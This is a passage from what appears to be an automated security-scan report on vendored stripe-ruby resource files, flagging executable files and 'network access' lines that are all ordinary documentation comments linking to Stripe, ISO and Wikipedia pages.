    # Initiates an in-person refund on a Reader. See [Refund an Interac Payment](https://docs.stripe.com/docs/terminal/payments/regional?integration-country=CA#refund-an-interac-payment) for more details.
  • Network accessline 689
    # Initiates an in-person refund on a Reader. See [Refund an Interac Payment](https://docs.stripe.com/docs/terminal/payments/regional?integration-country=CA#refund-an-interac-payment) for more details.
  • Network accessline 699
    # Sets the reader display to show [cart details](https://docs.stripe.com/docs/terminal/features/display).
  • Network accessline 709
    # Sets the reader display to show [cart details](https://docs.stripe.com/docs/terminal/features/display).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/test_helpers/test_clock.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/token.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # your customers in a secure manner. A token representing this information is   # returned to your server to use. Use our   # [recommended payments integrations](https://docs.stripe.com/payments) to perform this process
  • Network accessline 8
    # returned to your server to use. Use our   # [recommended payments integrations](https://docs.stripe.com/payments) to perform this process   # on the client-side. This guarantees that no sensitive card data touches your server,
  • Network accessline 9
    # [recommended payments integrations](https://docs.stripe.com/payments) to perform this process
  • Network accessline 19
    #   # You can't store or use tokens more than once. To store card or bank account   # information for later use, create [Customer](https://docs.stripe.com/api#customers)
  • Network accessline 20
    # You can't store or use tokens more than once. To store card or bank account   # information for later use, create [Customer](https://docs.stripe.com/api#customers)   # objects or [External accounts](https://docs.stripe.com/api#external_ac
  • Network accessline 21
    # information for later use, create [Customer](https://docs.stripe.com/api#customers)
  • Network accessline 22
    # objects or [External accounts](https://docs.stripe.com/api#external_accounts).
  • Network accessline 23
    # [Radar](https://docs.stripe.com/radar), our integrated solution for automatic fraud protection,
  • Network accessline 43
    # transfer to those cards later.     #     # Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards)
  • Network accessline 45
    # Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards)
  • Network accessline 62
    # Creates a single-use token that represents a bank account's details.     # You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [connected account]
  • Network accessline 63
    # You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [connected account](https://docs.stripe.com/api#accounts) where [controller.requirement_collec

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/topup.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # unique, random ID.   #   # Related guide: [Topping up your platform account](https://docs.stripe.com/connect/top-ups)
  • Network accessline 9
    # Related guide: [Topping up your platform account](https://docs.stripe.com/connect/top-ups)
  • Network accessline 26
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 32
    # Error code explaining reason for top-up failure if available (see [the errors section](https://docs.stripe.com/api#errors) for a list of codes).
  • Network accessline 40
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/transfer.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # Before April 6, 2017, transfers also represented movement of funds from a   # Stripe account to a card or bank account. This behavior has since been split   # out into a [Payout](https://api.stripe.com#payout_object) object, with correspo
  • Network accessline 9
    # Stripe account to a card or bank account. This behavior has since been split   # out into a [Payout](https://api.stripe.com#payout_object) object, with corresponding payout endpoints. For more   # information, read about the
  • Network accessline 10
    # out into a [Payout](https://api.stripe.com#payout_object) object, with corresponding payout endpoints. For more
  • Network accessline 11
    # information, read about the   # [transfer/payout split](https://docs.stripe.com/transfer-payout-split).   #
  • Network accessline 12
    # [transfer/payout split](https://docs.stripe.com/transfer-payout-split).
  • Network accessline 14
    # Related guide: [Creating separate charges and transfers](https://docs.stripe.com/connect/separate-charges-and-transfers)
  • Network accessline 36
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 48
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 60
    # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details.
  • Network accessline 63
    # To send funds from your Stripe account to a connected account, you create a new transfer object. Your [Stripe balance](https://docs.stripe.com/api#balance) must be able to cover the transfer amount, or you'll receive an “Insufficient Fund

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/credit_reversal.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal.
  • Network accessline 32
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 36
    # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.
  • Network accessline 42
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/debit_reversal.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitReversal.
  • Network accessline 45
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 49
    # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.
  • Network accessline 57
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/financial_account.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 115
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 130
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 146
    # The currencies the FinancialAccount can hold a balance in. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/financial_account_features.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/inbound_transfer.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a PaymentMethod that is owned by y
  • Network accessline 8
    # Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers)
  • Network accessline 49
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 57
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 97
    # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type.
  • Network accessline 148
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 156
    # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.
  • Network accessline 164
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/outbound_payment.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com#financial_accounts)
  • Network accessline 8
    # Simulate OutboundPayment state changes with the `/v1/test_helpers/treasury/outbound_payments` endpoints. These methods can only be called on test mode objects.     #     # Related guide: [Moving money with Treasury using OutboundPayment o
  • Network accessline 10
    # Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments)
  • Network accessline 25
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 33
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 88
    # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type.
  • Network accessline 223
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 225
    # ID of the [customer](https://docs.stripe.com/api/customers) to whom an OutboundPayment is sent.
  • Network accessline 239
    # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.
  • Network accessline 245
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/outbound_transfer.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a PaymentMethod belonging t
  • Network accessline 8
    # Simulate OutboundTransfer state changes with the `/v1/test_helpers/treasury/outbound_transfers` endpoints. These methods can only be called on test mode objects.     #     # Related guide: [Moving money with Treasury using OutboundTransfe
  • Network accessline 10
    # Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers)
  • Network accessline 25
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 33
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 88
    # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type.
  • Network accessline 208
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 220
    # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.
  • Network accessline 226
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/received_credit.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount.
  • Network accessline 20
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 28
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 92
    # Set when `type` is `issuing_card`. This is an [Issuing Card](https://api.stripe.com#issuing_cards) ID.
  • Network accessline 114
    # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal.
  • Network accessline 116
    # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com#financial_accounts)
  • Network accessline 118
    # Simulate OutboundPayment state changes with the `/v1/test_helpers/treasury/outbound_payments` endpoints. These methods can only be called on test mode objects.           #           # Related guide: [Moving money with Treasury using Outbo
  • Network accessline 120
    # Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments)
  • Network accessline 122
    # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a PaymentMethod belonging t
  • Network accessline 124
    # Simulate OutboundTransfer state changes with the `/v1/test_helpers/treasury/outbound_transfers` endpoints. These methods can only be called on test mode objects.           #           # Related guide: [Moving money with Treasury using Out
  • Network accessline 126
    # Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers)
  • Network accessline 133
    # industry.           #           # Related guide: [Receiving payouts](https://docs.stripe.com/payouts)
  • Network accessline 135
    # Related guide: [Receiving payouts](https://docs.stripe.com/payouts)
  • Network accessline 150
    # Set if the ReceivedCredit was created due to an [Issuing Authorization](https://api.stripe.com#issuing_authorizations) object.
  • Network accessline 152
    # Set if the ReceivedCredit is also viewable as an [Issuing transaction](https://api.stripe.com#issuing_transactions) object.
  • Network accessline 188
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 196
    # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/received_debit.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount.
  • Network accessline 20
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 28
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 92
    # Set when `type` is `issuing_card`. This is an [Issuing Card](https://api.stripe.com#issuing_cards) ID.
  • Network accessline 117
    # Set if the ReceivedDebit was created due to an [Issuing Authorization](https://api.stripe.com#issuing_authorizations) object.
  • Network accessline 119
    # Set if the ReceivedDebit is also viewable as an [Issuing Dispute](https://api.stripe.com#issuing_disputes) object.
  • Network accessline 121
    # Set if the ReceivedDebit was created due to a [Payout](https://api.stripe.com#payouts) object.
  • Network accessline 151
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 159
    # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/transaction.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Transactions represent changes to a [FinancialAccount's](https://api.stripe.com#financial_accounts) balance.
  • Network accessline 33
    # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal.
  • Network accessline 35
    # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitReversal.
  • Network accessline 37
    # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a PaymentMethod that is owned by y
  • Network accessline 39
    # Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers)
  • Network accessline 41
    # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization`
  • Network accessline 42
    # object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/authorizations) must be approved for the
  • Network accessline 43
    # purchase to be completed successfully.         #         # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations)
  • Network accessline 45
    # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations)
  • Network accessline 47
    # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com#financial_accounts)
  • Network accessline 49
    # Simulate OutboundPayment state changes with the `/v1/test_helpers/treasury/outbound_payments` endpoints. These methods can only be called on test mode objects.         #         # Related guide: [Moving money with Treasury using OutboundP
  • Network accessline 51
    # Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments)
  • Network accessline 53
    # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a PaymentMethod belonging t
  • Network accessline 55
    # Simulate OutboundTransfer state changes with the `/v1/test_helpers/treasury/outbound_transfers` endpoints. These methods can only be called on test mode objects.         #         # Related guide: [Moving money with Treasury using Outboun
  • Network accessline 57
    # Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers)
  • Network accessline 59
    # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount.
  • Network accessline 61
    # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount.
  • Network accessline 95
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/transaction_entry.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # TransactionEntries represent individual units of money movements within a single [Transaction](https://api.stripe.com#transactions).
  • Network accessline 33
    # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal.
  • Network accessline 35
    # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitReversal.
  • Network accessline 37
    # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a PaymentMethod that is owned by y
  • Network accessline 39
    # Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers)
  • Network accessline 41
    # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization`
  • Network accessline 42
    # object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/authorizations) must be approved for the
  • Network accessline 43
    # purchase to be completed successfully.         #         # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations)
  • Network accessline 45
    # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations)
  • Network accessline 47
    # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com#financial_accounts)
  • Network accessline 49
    # Simulate OutboundPayment state changes with the `/v1/test_helpers/treasury/outbound_payments` endpoints. These methods can only be called on test mode objects.         #         # Related guide: [Moving money with Treasury using OutboundP
  • Network accessline 51
    # Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments)
  • Network accessline 53
    # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a PaymentMethod belonging t
  • Network accessline 55
    # Simulate OutboundTransfer state changes with the `/v1/test_helpers/treasury/outbound_transfers` endpoints. These methods can only be called on test mode objects.         #         # Related guide: [Moving money with Treasury using Outboun
  • Network accessline 57
    # Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers)
  • Network accessline 59
    # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount.
  • Network accessline 61
    # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount.
  • Network accessline 78
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/amount.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/billing/meter_event.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 23
    # `customer_mapping.event_payload_key` (default is `stripe_customer_id`) and         # `value_settings.event_payload_key` (default is `value`). Read more about         # the [payload](https://docs.stripe.com/billing/subscriptions/usage-base
  • Network accessline 25
    # the [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides)..

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/billing/meter_event_adjustment.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/billing/meter_event_session.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/core/account.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 158
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 236
    # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px.
  • Network accessline 238
    # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if provided. Must be at least 128px x 128p
  • Network accessline 1817
    # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 1819
    # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 1863
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2090
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2318
    # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 2320
    # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 2322
    # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 2370
    # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance).
  • Network accessline 2411
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2435
    # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).
  • Network accessline 2437
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2464
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2479
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2494
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2509
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2524
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2539
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2555
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 2557
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 2568
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.
  • Network accessline 2583
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2598
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2613
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2684
    # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).
  • Network accessline 2686
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2713
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2738
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2856
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2931
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2972
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2987
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 3003
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 3005
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 3016
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.
  • Network accessline 3032
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 3034
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 3045
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document.
  • Network accessline 3060
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 3143
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3168
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3274
    # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3316
    # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) country code.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/core/account_link.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/core/account_person.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 17
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 92
